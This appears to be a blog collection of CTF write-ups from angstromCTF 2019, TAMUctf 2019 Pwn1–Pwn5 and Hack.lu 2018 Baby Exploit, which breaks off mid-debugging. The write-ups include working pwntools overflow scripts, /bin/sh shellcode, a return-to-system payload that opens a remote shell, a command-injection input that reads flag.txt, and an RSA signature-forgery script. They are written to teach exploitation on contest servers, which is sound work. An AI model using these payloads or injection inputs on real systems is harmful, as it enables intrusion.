"65537:145747811796572471696747097157677997611648214067955469374447752842447868280985991728977790393206040581952310449663503299506235400385799969481411870524508083265137943592770093338719137641828543820981124371367546988503982540558023348323871125943787522195565603427560680045189757271148997310447224805702675483099"
\n\n

Somehow, I feel like there weren’t supposed to be escapes for the newlines, but oh well. Everything seems to check out here.

So the idea seems to be that by supplying the website with a public key that matches the signature with a given pin, then I can verify my identity. This is pretty poor security, obviously, especially given the fact that I have control over the exponent (which I stupidly overlooked for at least several hours). The equation for the signature is as follows:

1
pin = signature^e mod n

I have the pin given to me by the website, the signature from the Twitter page of baseishcoinfou1, and the exponent. All I need is a valid n.

For the exponent, I’ll choose 5. Why 5? It is relatively low and means that when I exponentiate the signature, the n can be represented by the same number of bits. Basically:

1
kn + pin = signature^e

In my case, I’m going to assume k = 1, making the problem very trivial. In effect:

1
n = signature^e - pin

I wrote a short Python script to calculate this:

solve.py

1
2
3
4
5
6
7
8
9
10
# Signature from the Twitter page of baseishcoinfou1
signature = 43522081190908620239526125376626925272670879862906206214798620592212761409287968319160030205818706732092664958217053982767385296720310547463903001181881966554081621263332073144333148831108871059921677679366681345909190184917461295644569942753755984548017839561073991169528773602380297241266112083733072690367

# Pin given by the "Forgot your password?" page
pin = 181017

# Low exponent
e = 5

print '%d:%d' % (e, pow(signature, e) - pin)

Running the script yields the following public key:

1
5:156152259934610603327242777109298638373934572320003018946780705593035129444427250712903196953268692654576940252842426080729553952653677882004392693966587497895771126063209172520687408155983845138814448218643812756870429001677159139697312185528286445629870220439486395991895413533025617686453330864683812555753179156400433858871091471963735884941049381029699284926525734780530683371637232542486580601832498002442370205259218637335066255536340402863614960635863279257288993952331758568563539255171752333659803630559976542479997459049186400474006649599261061239561731085004017823362429679461455596473090496147014713630612514413037251048846131962952608974559597665037989589516588758915639505296076818565509671460227096392858914958248349719519761080165615153613390888909577250254133864459387364823840496709605537195438529272540877498372727188018102166924786597538072319044503910010189326796934513137869684765977644563798377464844285519970335294217160696344254550102370879793030817756422968722131250375494110628633064924047523515038128770714301615363185342011455425978139447595336835379107137242896370138133354739730815895341370949542102301040465958437918589288157598747503502123011375289921007339937318514618737528870366815796019608309972031321180211231027906387141262192775078672105433479871010768651433527003348326639168952600370384527925162635252188830536959099871687232387447443824170080109823399109258223217519865552564954330502656132579024379460503613264612232039663908389480448494284442261160415871697947245392343456421606992172540775590

When inputting this as the public key into the form, I get the flag.

keybaseish Flag

angstromCTF 2019 Just Letters Writeup

I’ve encountered a lot of esolangs (esoteric languages) through CTFs. My very first one was Shakespeare Programming Language from PicoCTF 2014. MTEM 2018 CTF had an entire category dedicated to esolangs. angstromCTF 2019‘s Just Letters featured the AlphaBeta esolang:

Hope you’ve learned the alphabet!
nc 54.159.113.26 19600


Let’s dive in:

1
2
3
$ nc 54.159.113.26 19600
Welcome to the AlphaBeta interpreter! The flag is at the start of memory. You get one line:
>

Okay, straightforward enough. I’m told that the flag is at the start of memory. Just to test things out, I’ll input the Hello World program from the AlphaBeta esolang page (removing all the newlines since I’m told I only get one line):

1
2
3
4
$ nc 54.159.113.26 19600
Welcome to the AlphaBeta interpreter! The flag is at the start of memory. You get one line:
> cccCISccccCIScccCIYxSGSHaaCLgDLihhhDLDLgggDLTTGaaCLSGccbbbCLDLgggDLjggggDLSHDLTTGaaaCL
Hello World!

Alright, looks like it worked. Like all esolangs, AlphaBeta has pointers and registers and can modify memory, move data, and the like. Encountering enough esolangs, you start to get familiar with these constructs which are needed to build a language.

I didn’t want to spend too much time learning AlphaBeta so I wanted to build off of one of the three examples on the AlphaBeta esolang page. In particular, I looked at the Cat program:

1
JCLigggO

It looks like what this does is:

1
2
3
4
5
6
J     input a value from the keyboard and store it in register 1
C sets register 3 to the value of register 1
L outputs a character to the screen
i adds 10 to register 2
g adds 1 to register 2
O if register 1 does not equal register 2, goto the position at the position register

It looks like this is some kind of loop that reads input one character at a time from stdin and then outputs it to the screen. Instead of using J, I found that G might be handy:

1
G     sets register 1 to the memory at the memory pointer

So instead of reading from stdin to print, the interpreter will read from the first memory location. I’m going to try sending in the Cat program except with a G instead of a J:

1
2
3
4
5
$ nc 54.159.113.26 19600
Welcome to the AlphaBeta interpreter! The flag is at the start of memory. You get one line:
> GCLigggO
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa...
aaaaaaaaaa^C

Woah there. CTRL+C IMMEDIATELY. I kept getting a bajillion a output. Since the flag format of the CTF is actf{FLAG}, I figured that what the interpreter is probably doing is continually printing the first character over and over again. After some thought, this makes sense since I didn’t bother to move the memory pointer forward by 1. I can do this right after the interpreter outputs the character to the screen with L. S is useful here:

1
S     adds 1 to the register

By the register, the page means the memory pointer. The commands S, T, U, V, W, X, Y, and Z act on either the memory pointer or the position pointer depending on which “mode” the interpreter is in. By default, the interpreter starts on the memory pointer, which is exactly what I need.

1
2
3
$ echo GCLSigggO | nc 54.159.113.26 19600
Welcome to the AlphaBeta interpreter! The flag is at the start of memory. You get one line:
> actf{esolangs_sure_are_fun!}You broke it. Are you proud?

Frankly, I don’t care that I broke it because I still got the flag: actf{esolangs_sure_are_fun!}. Easy money!

As an addendum, I think I get the You broke it. Are you proud? message because the interpreter ends up reading a memory region that it isn’t supposed to read (past the flag). I can shorten the solution even further:

1
2
3
$ echo GCLSkO | nc 54.159.113.26 19600
Welcome to the AlphaBeta interpreter! The flag is at the start of memory. You get one line:
> actf{esolangs_sure_are_fun!}You broke it. Are you proud?

The above is the shortest solution that I believe I can get. If I wanted to do things correctly, I’d use the position register to loop back to a certain point in the program (and not just the beginning) like so:

1
2
3
$ echo ZUTZiiihhGCLSP | nc 54.159.113.26 19600
Welcome to the AlphaBeta interpreter! The flag is at the start of memory. You get one line:
> actf{esolangs_sure_are_fun!}

This gives the solution with the exact characters (knowing that the flag is 28 characters) without telling me that I broke it.

Sidenote: Not sure why P is used here. I think the interpreter should be using Q instead but might have these two instructions flipped, as Q loops as long as register 1 (our indexing variable) is less than or equal to register 2 (the length of the flag).

angstromCTF 2019 High Quality Checks Writeup

I’ll keep this quick and short because this wasn’t a very hard challenge but I wanted to demonstrate how easy it is to solve simpler “crackmes” in CTFs by using a tool like angr. This one is called High Quality Checks from angstromCTF 2019:

High Quality Checks - Rev (110 points)

After two break-ins to his shell server, kmh got super paranoid about a third! He’s so paranoid that he abandoned the traditional password storage method and came up with this monstrosity! I reckon he used the flag as the password, can you find it?

Binary: High Quality Checks


I’ll first run some checks on this file:

1
2
$ file high_quality_checks
high_quality_checks: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=e7556b55e0c73b4de8b3f387571dd59c3535a0ee, not stripped
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
$ readelf -h high_quality_checks
ELF Header:
Magic: 7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00
Class: ELF64
Data: 2's complement, little endian
Version: 1 (current)
OS/ABI: UNIX - System V
ABI Version: 0
Type: EXEC (Executable file)
Machine: Advanced Micro Devices X86-64
Version: 0x1
Entry point address: 0x400520
Start of program headers: 64 (bytes into file)
Start of section headers: 11016 (bytes into file)
Flags: 0x0
Size of this header: 64 (bytes)
Size of program headers: 56 (bytes)
Number of program headers: 9
Size of section headers: 64 (bytes)
Number of section headers: 29
Section header string table index: 28

Alright, everything looks normal. Running the binary a couple times to see what it does:

1
2
3
4
5
6
7
8
$ ./high_quality_checks
Enter your input:
skdjflf
Flag is too short.
$ ./high_quality_checks
Enter your input:
ajskldfjkdlsjflfjlsdkjfsdlfjdsljfld
That's not the flag.

Quick thing I noted: the program will tell me if my input is too short. This ends up not being useful at all later but I think it’s still good to notice these subtle differences.

On the surface, this seems like a simple crackme. Here is what it looks like in Ghidra analyzed with the default options:

High Quality Checks in Ghidra

A closer look at the decompiled main() function:

main() function in Ghidra

So the flag is at least 0x13 (or 19) characters long. Looks pretty clear to me that the check() function is the important part. Here is the decompilation of that function in Ghidra:

check() function in Ghidra

Err… this doesn’t look so fun. Without posting a screenshot for every individual one-letter function, I can tell that each individual function is very annoying to parse and calculate by hand. I decided to approach this another way: angr!

What is angr, you ask?

From http://angr.io/:

angr is a python framework for analyzing binaries. It combines both static and dynamic symbolic (“concolic”) analysis, making it applicable to a variety of tasks.

One of the simpler things that angr can do is run a binary and attempt to reach a desired branch or state in the program execution and tell you what the output at that point in the binary is, or (more importantly for what we’re doing here) what input allows you to reach that specific branch in the program.

I’ll post the source code for the angr script high_quality_checks_angr.py I used to get the flag and then describe more or less what is happening:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import angr

FIND_ADDR = 0x00400ad2
AVOID_ADDR = 0x00400ae0

def main():
proj = angr.Project('high_quality_checks', load_options={"auto_load_libs": False})

sm = proj.factory.simulation_manager()
sm.explore(find=FIND_ADDR, avoid=AVOID_ADDR)

return sm.found[0].posix.dumps(0)

if __name__ == '__main__':
print(repr(main()))

Here’s a bit of a breakdown:

  • Line 7 initializes the angr project with the path to the binary to analyze/run.
  • Line 9 initializes my “simulation manager” which allows me to control symbolic execution over states of the program. It allows me to apply some parameters to how I search for states in the program.
  • Line 10 is where I tell the simulation manager that I want to reach a certain instruction address (FIND_ADDR) in the execution while avoiding another address (AVOID_ADDR). More in a bit on how I chose these addresses…
  • Line 12 is where I return the stdin (which by default on Linux is file descriptor 0) of the first found state that satisfies the parameters given.

Choosing FIND_ADDR and AVOID_ADDR are simple:

1
2
3
4
5
6
7
8
9
10
11
12
$ objdump -d high_quality_checks
0000000000400a5b <main>:
...
400ac2: e8 83 fe ff ff callq 40094a <check>
400ac7: 85 c0 test %eax,%eax
400ac9: 74 0e je 400ad9 <main+0x7e>
400acb: 48 8d 3d dc 00 00 00 lea 0xdc(%rip),%rdi # 400bae <_IO_stdin_used+0x2e>
400ad2: e8 09 fa ff ff callq 4004e0 <puts@plt>
400ad7: eb 0c jmp 400ae5 <main+0x8a>
400ad9: 48 8d 3d e2 00 00 00 lea 0xe2(%rip),%rdi # 400bc2 <_IO_stdin_used+0x42>
400ae0: e8 fb f9 ff ff callq 4004e0 <puts@plt>
...

FIND_ADDR is the address of the puts() call where You found the flag! is printed to stdout, while AVOID_ADDR is the address of the puts() call where That's not the flag. is printed.

angr isn’t all too difficult to install but I much prefer to run it from within a docker container.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
$ docker run --name angr -it angr/angr
(angr) angr@da6c4b11289a:~$

(in another terminal window I copy over the binary and the angr script)
$ docker cp high_quality_checks_angr.py angr:/home/angr/high_quality_checks_angr.py
$ docker cp high_quality_checks angr:/home/angr/high_quality_checks

(angr) angr@da6c4b11289a:~$ python high_quality_checks_angr.py
WARNING | 2019-04-25 02:07:09,244 | angr.state_plugins.symbolic_memory | The program is accessing memory or registers with an unspecified value. This could indicate unwanted behavior.
WARNING | 2019-04-25 02:07:09,245 | angr.state_plugins.symbolic_memory | angr will cope with this by generating an unconstrained symbolic variable and continuing. You can resolve this by:
WARNING | 2019-04-25 02:07:09,245 | angr.state_plugins.symbolic_memory | 1) setting a value to the initial state
WARNING | 2019-04-25 02:07:09,245 | angr.state_plugins.symbolic_memory | 2) adding the state option ZERO_FILL_UNCONSTRAINED_{MEMORY,REGISTERS}, to make unknown regions hold null
WARNING | 2019-04-25 02:07:09,245 | angr.state_plugins.symbolic_memory | 3) adding the state option SYMBOL_FILL_UNCONSTRAINED_{MEMORY_REGISTERS}, to suppress these messages.
WARNING | 2019-04-25 02:07:09,247 | angr.state_plugins.symbolic_memory | Filling register r15 with 8 unconstrained bytes referenced from 0x400b00 (__libc_csu_init+0x0 in high_quality_checks (0x400b00))
WARNING | 2019-04-25 02:07:09,250 | angr.state_plugins.symbolic_memory | Filling register r14 with 8 unconstrained bytes referenced from 0x400b02 (__libc_csu_init+0x2 in high_quality_checks (0x400b02))
WARNING | 2019-04-25 02:07:09,253 | angr.state_plugins.symbolic_memory | Filling register r13 with 8 unconstrained bytes referenced from 0x400b07 (__libc_csu_init+0x7 in high_quality_checks (0x400b07))
WARNING | 2019-04-25 02:07:09,256 | angr.state_plugins.symbolic_memory | Filling register r12 with 8 unconstrained bytes referenced from 0x400b09 (__libc_csu_init+0x9 in high_quality_checks (0x400b09))
WARNING | 2019-04-25 02:07:09,261 | angr.state_plugins.symbolic_memory | Filling register rbx with 8 unconstrained bytes referenced from 0x400b1a (__libc_csu_init+0x1a in high_quality_checks (0x400b1a))
WARNING | 2019-04-25 02:07:09,315 | angr.state_plugins.symbolic_memory | Filling register cc_ndep with 8 unconstrained bytes referenced from 0x4005b1 (register_tm_clones+0x21 in high_quality_checks (0x4005b1))
WARNING | 2019-04-25 02:07:09,589 | angr.state_plugins.symbolic_memory | Filling memory at 0x7ffffffffff0000 with 64 unconstrained bytes referenced from 0x1000010 (strlen+0x0 in extern-address space (0x10))
WARNING | 2019-04-25 02:07:09,591 | angr.state_plugins.symbolic_memory | Filling memory at 0x7fffffffffeff70 with 8 unconstrained bytes referenced from 0x1000010 (strlen+0x0 in extern-address space (0x10))
b'actf{fun_func710n5}'
(angr) angr@da6c4b11289a:~$

Easy as that! The flag is given by angr: actf{fun_func710n5}.

TAMUctf 2019 Pwn1, Pwn2, Pwn3, Pwn4, Pwn5 Writeups

In the midst of running a TracerFIRE workshop for several schools at North Carolina A&T State University in Greensboro, NC, I found some time to hop onto TAMUctf. It turns out to have a nice mixture of challenges, including some secure coding, some penetration testing, and some incident response-focused challenges. Of course, I like the traditional categories so here are writeups for Pwn1, Pwn2, Pwn3, Pwn4, and Pwn5!

The binaries given are as follows:

Pwn1
Pwn2
Pwn3
Pwn4
Pwn5


Pwn1

In typical pwn challenge fashion, each of the above challenges only gives a server and a port. Pwn1 gives the following:

1
nc pwn.tamuctf.com 4321

First thing’s first, let’s run file:

1
2
$ file pwn1 
pwn1: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=d126d8e3812dd7aa1accb16feac888c99841f504, not stripped

Seeing not stripped is always nice. Let’s connect to the server to see what it’s all about.

1
2
3
4
5
$ nc pwn.tamuctf.com 4321
Stop! Who would cross the Bridge of Death must answer me these questions three, ere the other side he see.
What... is your name?
Wellington
I don't know that! Auuuuuuuugh!

It sounds like Monty Python… Let’s take a look at this binary in IDA. First thing I look at here is the function names in IDA.

pwn1 functions

Hmm… there’s a print_flag function. Seems useful for later on. Looking in main, I see that the binary is asking three questions. Answering all three questions correctly leads to the binary calling the print_flag function.

pwn1 main
pwn1 main continued

From the above, I can see that the first two questions that the binary asks are straightforward. The first two answers are obviously Sir Lancelot of Camelot\n and To seek the Holy Grail.\n. My Monty Python knowledge does not fail me! Things get more interesting at the last question. Two things that I noted about the last question:

  1. gets is used instead of fgets for user input. This means there’s a possibility for an overflow.
  2. The comparison is not with a string in the .rodata portion but rather with a hardcoded number.

It’s important to note where on the stack is being compared to this value and where on the stack I write my data into.

1
2
3
4
5
lea   eax, [ebp+var_3B]         ; We push the memory address of $ebp+0x3B onto the stack
push eax
call _gets ; _gets will write value of user input to $ebp+0x3B
add esp, 10h
cmp [ebp+var_10] 0DEA110C8h ; We use $ebp+0x10 to the hardcoded value

I’ve added the comments to the assembly above to show the offset of where the user input is written and what memory section is compared to the number. Essentially, I write to $ebp+0x3B but $ebp+0x10 is used in the comparison. This makes it clear why _gets is used. I’ll have to write 0x3B-0x10 = 0x2B = 43 bytes of data before placing the right value.

Let’s use pwntools to interact with the remote server.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *

r = remote('pwn.tamuctf.com', 4321)

print r.recvline().rstrip('\n')
r.send('Sir Lancelot of Camelot\n')
print r.recvline().rstrip('\n')
r.send('To seek the Holy Grail.\n')
print r.recvline().rstrip('\n')
r.sendline('A'*43 + '\xc8\x10\xa1\xde') # Write 43 bytes and then the hardcoded value in little endian
print r.recvline().rstrip('\n')
print r.recvline().rstrip('\n')
print r.recvline()
r.close()

Note line #10 in the above code is really the meat of this challenge. Also, we have to remember that we’re in little endian.

1
2
3
4
5
6
7
8
$ python pwn1.py
[+] Opening connection to pwn.tamuctf.com on port 4321: Done
Stop! Who would cross the Bridge of Death must answer me these questions three, ere the other side he see.
What... is your name?
What... is your quest?
What... is my secret?
Right. Off you go.
gigem{34sy_CC428ECD75A0D392}

Pwn2

Similar to Pwn1, I’m only given a remote server and a port:

1
nc pwn.tamuctf.com 4322

Running file gives:

1
2
$ file pwn2
pwn2: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=c3936da4c051f1ca58585ee8b243bc9c4a37e437, not stripped

Pretty much the same story as pwn1: 32-bit ELF that is not stripped. Time to see what this binary is doing.

1
2
$ nc pwn.tamuctf.com 4322
Which function would you like to call?

Hmmm.. I don’t want to guess randomness blindly so I’ll open up this binary in IDA.

pwn2 main

The only notable things in the main function above are: 1. the use of gets and 2. select_func seems to be where the program flows. Looks like I’ll have to overflow another buffer with gets.

pwn2 select_func

select_func is interesting. It looks like the address of function two is loaded into $ebp-0xc and then a string comparison is done. If the string entered is one, then the address of function one is loaded and called. Otherwise, function two is called. I verify this by running the binary:

1
2
3
4
5
6
7
8
$ ./pwn2
Which function would you like to call?
one
This is function one!
$ ./pwn2
Which function would you like to call?
two
$

Eh?! That’s odd. Entering one yields the expected behavior from the program but typing something other than one does not call function two as I would normally expect. I’ll jump into gdb for this one, or more specifically, pwndbg because vanilla gdb is a struggle bus.

pwndbg shows me that something odd happens to the data at $ebp-0xc after the strncpy instruction at 0x565557a6 <select_func+39> call strncpy@plt <0x56555550>. Before the strncpy call, I check the data in $ebp-0xc:

1
2
pwndbg> x/1x $ebp-0xc
0xffffd54c: 0x565556ad

After the strncpy call, the data here seems to have changed:

1
2
pwndbg> x/1x $ebp-0xc
0xffffd54c: 0x56555600

More specifically, it looks like the last byte of the data changed. Observing the strncpy call more closely, it looks like the binary is calling strncpy with the parameters $ebp-0x2a, $ebp+0x8, and 0x1f. In other words, strncpy is called like:

1
strncpy($ebp-0x2a, $ebp+0x8, 0x1f)

This basically means that strncpy will copy 0x1f bytes of data from the data at memory address $ebp+0x8 to $ebp-0x2a. Doing the math here, I can see that the data copied will occupy the region from $ebp-0x2a to $ebp-0xc. Since the last byte written is at $ebp-0xc, this means that our “default” function that gets called in select_func can have the last byte of its memory address overwritten! I say “last byte” here because the binary is little endian. All I have to do is write 0x1f (or 31) bytes of data. I can use this knowledge to write the last byte and call the print_flag function. I can get the last byte of the print_flag function by disassembling it in pwndbg:

1
2
3
pwndbg> disassemble print_flag
Dump of assembler code for function print_flag:
0x565556d8 <+0>: push ebp

It looks like the first 3 bytes also line up with the data already there so calling print_flag is a perfect candidate! I can write 31 bytes of \xd8 to the binary and it should print the flag:

1
2
3
4
$ (python -c 'print "\xd8"*31'; cat) | nc pwn.tamuctf.com 4322
Which function would you like to call?
This function is still under development.
gigem{4ll_17_74k35_15_0n3}

A quick note: I should explain why I do this funky (python <BLAH>; cat) deal. The reason I do this is to avoid having the remote server close stdin. When the remote server sees that there is no further user input, the connection is closed. In the case of this particular problem, it’s not necessary since I don’t need to keep stdin open, but in the case of problems where a shell is spawned and additional input from the user is necessary, the ; cat will allow the user to type additional input. I’ve developed a habit of adding this whenever I send input to a remote server, just in case.


Pwn3

You know the story by now.

1
nc pwn.tamuctf.com 4323
1
2
$ file pwn3 
pwn3: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=6ea573b4a0896b428db719747b139e6458d440a0, not stripped

Testing what the service does:

1
2
$ nc pwn.tamuctf.com 4323
Take this, you might need it on your journey 0xffe60f0e!

My first assumption is that the memory address given is some offset in the stack where I write. I’m probably going to have to put some shellcode on the stack and then jump to it somehow (most likely via a function return).

Before making any more assumptions, I’ll load up the binary in IDA to take a look at the main function:

pwn3 main

Nothing too exciting here. Looks like all that happens is main calls echo. Here’s what the echo function looks like:

pwn3 echo

From the above, I can see that the address that is printed out to us upon connecting is where the buffer gets written via gets. Specifically, the address given is the address of [ebp+var_12A].

If I want to overwrite the return address of this function, all I have to do is write 0x12A+0x4 = 0x13E bytes and then the address I want the function to return to. The extra 0x4 is for the base saved base pointer.

I grabbed some simple shellcode for 32 bit binaries from from shell-storm:

1
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80

Now it’s a simple matter of writing up a script to connect to the remote server, grab the memory address given, overflow the buffer, overwrite the return address, and execute the shellcode.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *
from struct import pack

r = remote('pwn.tamuctf.com', 4323)

d = r.recvline()
s = [x for x in d.split(' ') if '0x' in x][0][2:].rstrip('!\n')

RET_OFFSET = 0x12A + 0x4
SHELLCODE = '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80'
FILLER = 'A'*(RET_OFFSET-len(SHELLCODE))
RET_ADDR = struct.pack('<I', int(s, 16))
PAYLOAD = SHELLCODE + FILLER + RET_ADDR

r.sendline(PAYLOAD)
r.interactive()

r.close()
1
2
3
4
5
6
7
8
$ python pwn3.py
[+] Opening connection to pwn.tamuctf.com on port 4323: Done
[*] Switching to interactive mode
$ ls
flag.txt
pwn3
$ cat flag.txt
gigem{r3m073_fl46_3x3cu710n}

Pwn4

1
nc pwn.tamuctf.com 4324
1
2
$ file pwn4 
pwn4: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=db1ceeb24f1c95e886c69fb0682714057ca13013, not stripped

Let’s take a look at what kind of service this is:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$ nc pwn.tamuctf.com 4324
ls as a service (laas)(Copyright pending)
Enter the arguments you would like to pass to ls:
-a
Result of ls -a:
.
..
flag.txt
pwn4
ls as a service (laas)(Copyright pending)
Enter the arguments you would like to pass to ls:
; cat flag.txt
Result of ls ; cat flag.txt:
flag.txt
pwn4
gigem{5y573m_0v3rfl0w}

Well… that was easier than I expected. Basically all I did was assume that there was no checking for ; and that the program ran the commands as-is. Therefore, you can concatenate any commands to the end of ls by separating them with ;. The command that ended up getting run was ls ; cat flag.txt which gave me the contents of flag.txt easily.

I don’t think the challenge writers expected it to be this simple since this challenge was rated as medium but has the most solves of any of the pwn challenges. Onto the next one!


Pwn5

1
nc pwn.tamuctf.com 4325
1
pwn5: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=f9690a5a90e54f8336b65636e719feac16798d50, not stripped

Unlike all the previous binaries, Pwn5 is statically linked. That might be important for later on. In terms of functionality, Pwn5 seems to be similar to Pwn4 but has some more restrictions on user input. I’ll load it up in IDA. main isn’t all too interesting… all it does is call the function laas.

laas function

laas is more interesting. Some quick things that I note:

  1. gets is used, indicating a potential overflow.
  2. run_cmd is called. It might be worth taking a look at that function.

run_cmd function

system is called here! That might be useful. Going back to Pwn5 being statically linked, there might be some static strings that can be used when calling system, specifically /bin/sh. Opening the strings subview in IDA, it’s easy to see that there are lots of strings in this statically linked binary. Indeed, near the top of the strings subview, I find the string /bin/sh in the binary along with its memory address:

Pwn5 strings

All that is left now is to figure out how much to write to overwrite the return address to return to the address of system in the run_cmd function and add the address of the string /bin/sh as a parameter on the stack. From the laas function, I see that gets writes to $ebp-0xd. Therefore, I want to write 0xd+4 (to account for $ebp) = 0x11 = 17 bytes before overwriting the return address to system at \xb3\x88\x04\x08 and then the address of /bin/sh at \x40\xc1\x0b\x08:

1
2
3
4
5
6
7
8
9
10
$ (python -c 'print "/ AAAABBBBCCCCDDD" + "\xb3\x88\x04\x08\x40\xc1\x0b\x08"'; cat) | nc pwn.tamuctf.com 4325
ls as a service (laas)(Copyright pending)
Version 2: Less secret strings and more portable!
Enter the arguments you would like to pass to ls:
No slashes allowed
ls
flag.txt
pwn5
cat flag.txt
gigem{r37urn_0r13n73d_pr4c71c3}

Remember the note about using (; cat) that I mentioned above? It was important here since I spawned a remote shell and had to add the additional user input of ls and cat flag.txt.

Overall, TAMUctf was a good review of challenge types that I’ve seen in the past. I unfortunately didn’t have much time to try many of the challenges but it was fun!

Hack.lu CTF 2018 - Baby Exploit Writeup

It’s been quite a while since my last writeup. I wanted to do a writeup of a simple challenge from Hack.lu CTF 2018. Hack.lu CTF this year unfortunately happened during the workweek so I didn’t get to play much of it. I jumped on in the final hours before the game ended. It was late at night so I wanted to work on an easier challenge. The full downloadable .zip files for Baby Reverse and Baby Exploit are available:

Baby Reverse
Baby Exploit

With that out of the way, here’s the writeup for Baby Exploit.


The challenge for Baby Exploit was a continuation of the challenge Baby Reverse where we were given a binary chall. Essentially, chall was a simple crackme that compared user input against the flag for Baby Reverse. All of the logic for the decryption was contained within a single function and turned out to be a simple xor cipher.

Baby Reverse Function

Solving Baby Reverse gave the flag flag{Yay_if_th1s_is_yer_f1rst_gnisrever_flag!}. This flag for Baby Reverse is the password for the zip for Baby Exploit.

Now, Baby Exploit is a little bit more interesting than Baby Reverse. We’re given several files and a connection to a remote service:

1
nc arcade.fluxfingers.net 1807

The remote server is running the following code in babyexploit.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#!/usr/bin/env python3

"""
Toggle the bit at the specified offset.
Syntax: <cmdname> chall byte-offset bit-offset
https://unix.stackexchange.com/questions/196251/change-only-one-bit-in-a-file
"""

from tempfile import NamedTemporaryFile
from os import chmod
from subprocess import CalledProcessError, TimeoutExpired, check_call
from shutil import copyfile



yourFile = NamedTemporaryFile(delete=True)
copyfile("/home/chall/chall",yourFile.name)
chmod(yourFile.name,0o777)

print("Welcome to the super Flipper.")
print("====================================================")
try:
bytepos = int(input("Please enter the byte-offset you want to flip (0x80-0x139): "),16)
bitpos = int(input("Please enter the bitposition you want to flip at byte-offset(7-0): "),16)
except ValueError:
print("numbers only please...;)")
exit(-1)

if(bytepos < 0x80 or bytepos > 0x139 or bitpos < 0 or bitpos > 7 ):
print("behave kid, behave...ò.ó")
exit(-1)

patch = open(yourFile.name,"r+b")

patch.seek(bytepos, 0)
c = patch.read(1)
toggled = bytes( [ ord(c)^(1<<bitpos) ] )

patch.seek(-1, 1)
patch.write(toggled)
patch.close()

yourFile.file.close()
try:
print("\n============ Running Challenge now! ================")
check_call([yourFile.name],timeout=10)
except CalledProcessError:
print("\n============ you bricked it:> ============")
except TimeoutExpired:
print("\n============= got the flag?:> =============")

We’re also given a Makefile and asm.template to help us out in building our shellcode. I ended up not needing to use this as you’ll see later on.

Makefile

1
2
3
4
5
6
7
8
9
.PHONY: all
all:
rm -f shellcode asm.elf asm.o
nasm -f elf64 asm.template
ld -o asm.elf asm.o -m elf_x86_64
for i in $$(objdump -d ./asm.elf |grep "^ " |cut -f2); do echo -n '\x'$$i >> shellcode; done;
cat shellcode
clean:
rm -f shellcode asm.elf asm.o

asm.template

1
2
3
4
5
6
7
8
9
BITS 64

section .text
global _start
_start:
;write execve("/bin/sh",0,0);
xor rax,rax
mov al, 60
syscall

The important script is babyexploit.py. So basically, the server lets us flip one single bit in the chall binary and then runs it. Generally, we want to flip a bit in a jump command so that it jumps to somewhere in the region of memory where we have write access (since the binary prompts for input). The question is: which bit to flip? Let’s take a look again at our disassembly for all the jumps we have available:

Linear Disassembly of Chall

From the above linear disassembly, these are the candidate jumps that we can bitflip:

1
2
3
4
5
0x4000A6 75 F0          jnz     short loc_400098
...
0x4000BB 75 49 jnz short near ptr loc_400105+1
...
0x4000D0 EB 34 jmp short near ptr loc_400105+1

Before choosing which jump that we should consider for a bit flip, we should probably figure out what region of memory we have control over. It’s easy enough to use gdb to figure out what region and how much data we have control over writing:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
$ gdb chall
pwndbg> b *0x400096
Breakpoint 1 at 0x400096
pwndbg> r
Starting program: /home/vagrant/share/hacklu2018/babyexploit/public/chall
Welcome to this Chall!
Enter the Key to win:
Breakpoint 1, 0x0000000000400096 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────
RAX 0x0
RBX 0x0
RCX 0x400092 ◂— sub al, 0x2e /* 0xf48050fcfff2e2c */
RDX 0x2e
RDI 0x0
RSI 0x4000d7 ◂— push rdi /* 0x20656d6f636c6557 */
R8 0x0
R9 0x0
R10 0x0
R11 0x202
R12 0x0
R13 0x0
R14 0x0
R15 0x0
RBP 0x0
RSP 0x7fffffffe480 ◂— 0x1
RIP 0x400096 ◂— syscall /* 0x48017eb60f48050f */
────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────
► 0x400096 syscall <SYS_read>
fd: 0x0
buf: 0x4000d7 ◂— push rdi /* 0x20656d6f636c6557 */
nbytes: 0x2e
0x400098 movzx rdi, byte ptr [rsi + 1]
